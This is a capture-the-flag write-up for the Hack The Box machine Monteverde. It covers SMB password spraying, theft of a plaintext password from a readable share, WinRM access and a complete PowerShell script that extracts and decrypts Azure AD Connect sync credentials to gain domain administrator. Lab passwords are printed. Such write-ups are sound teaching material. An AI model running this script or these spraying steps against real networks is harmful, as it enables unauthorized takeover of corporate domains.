Monteverde is a Medium Windows machine that features Azure AD Connect. The domain is enumerated and a user list is created. Through password spraying, the SABatchJobs service account is found to have the username as a password. Using this service account, it is possible to enumerate SMB Shares on the system, and the $users share is found to be world-readable. An XML file used for an Azure AD account is found within a user folder and contains a password. Due to password reuse, we can connect to the domain controller as mhope using WinRM. Enumeration shows that Azure AD Connect is installed. It is possible to extract the credentials for the account that replicates the directory changes to Azure (in this case the default domain administrator).
Nmap scan
As first step, we start scanning the box using:
nmap -sV -sC 10.10.10.172 -v
This returned:
PORT STATE SERVICE VERSION
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-01-11 19:11:09Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3269/tcp open tcpwrapped
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
Enumeration
For windows box , the first thing I use after nmap is the enum4linux tool
enum4linux -a 10.10.10.172 | tee -a enum4linux.log
This returned a list of users
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881.
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]
We can extract them and save them to a file for a later use:
cat enum4linux.log | grep -oP '(?<=user:\[)[^\]]+' > users.txt
Owning user
Smb bruteforce
I tried to bruteforce smb with those users
Note : crackmapexec is not working and I won’t use msf so I've wrote my own script to bruteforce smb login
You can find it in my simplifier tool
./smb-login-brute.sh users.txt users.txt 10.10.10.172
This returned:
[-] login failed SABatchJobs:krbtgt
[-] login failed SABatchJobs:AAD_987d7f2f57d2
[-] login failed SABatchJobs:mhope
[+] login successful SABatchJobs:SABatchJobs
Enter WORKGROUP\SABatchJobs's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
azure_uploads Disk
C$ Disk Default share
E$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
users$ Disk
SMB1 disabled -- no workgroup available
[-] login failed SABatchJobs:svc-ata
[-] login failed SABatchJobs:svc-bexec
[-] login failed SABatchJobs:svc-netapp
[-] login failed SABatchJobs:dgalanos
We have a successful login for SABatchJobs:SABatchJobs
Additionally we can see a share called users$
Finding login credentials
Trying to list the content of this smb share using:
smbclient //10.10.10.172/users$ -U SABatchJobs -c 'recurse;ls'
This returned a bunch of files
Enter WORKGROUP\SABatchJobs's password:
. D 0 Fri Jan 3 15:12:48 2020
.. D 0 Fri Jan 3 15:12:48 2020
\mhope
. D 0 Fri Jan 3 15:41:18 2020
.. D 0 Fri Jan 3 15:41:18 2020
azure.xml AR 1212 Fri Jan 3 15:40:23 2020
.
.
524031 blocks of size 4096. 519955 blocks available
The most interesting one is azure.xml in the mhope user
Checking the content of the file:
at azure.xml
��<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
<T>System.Object</T>
</TN>
<ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
<Props>
<DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
<DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
<G N="KeyId">00000000-0000-0000-0000-000000000000</G>
<S N="Password">4n0therD4y@n0th3r$</S>
</Props>
</Obj>
</Objs>┌─[root@parrot]─[/home/unknown/Desktop/hacktheboxmachine/monte]
Finally we have a password: 4n0therD4y@n0th3r$
I've tried to login using:
evil-winrm -i 10.10.10.172 -u mhope -p '4n0therD4y@n0th3r$'
And it works!
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mhope\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\mhope\desktop> dir
Directory: C:\Users\mhope\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 1/3/2020 5:48 AM 32 user.txt
*Evil-WinRM* PS C:\Users\mhope\desktop>
Owning administrator
Enumeration
After spending time searching the server, I've found an interesting folder c:\Program Files\Microsoft Azure AD Sync
This has something to do with Microsoft Azure AD Sync attack , I've found a useful article
Find admin credentials
I've edited the script to connect to my azure service and do a sync attack
Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server = 127.0.0.1 ;Database = ADSync ;Initial Catalog=ADSync ;Integrated Security = True;"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)
Upload the script and run it on the server:
*Evil-WinRM* PS C:\Users\mhope\Documents> ./azure_cred.ps1
AD Connect Sync Credential Extract POC (@_xpn_)
Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!
*Evil-WinRM* PS C:\Users\mhope\Documents>
We finally have the administrator creds and we can login!
evil-winrm -i 10.10.10.172 -u administrator -p d0m@in4dminyeah!
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> ls
Directory: C:\Users\Administrator\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 1/3/2020 5:48 AM 32 root.txt
*Evil-WinRM* PS C:\Users\Administrator\desktop>
Box owned! Your feedback is much appreciated :)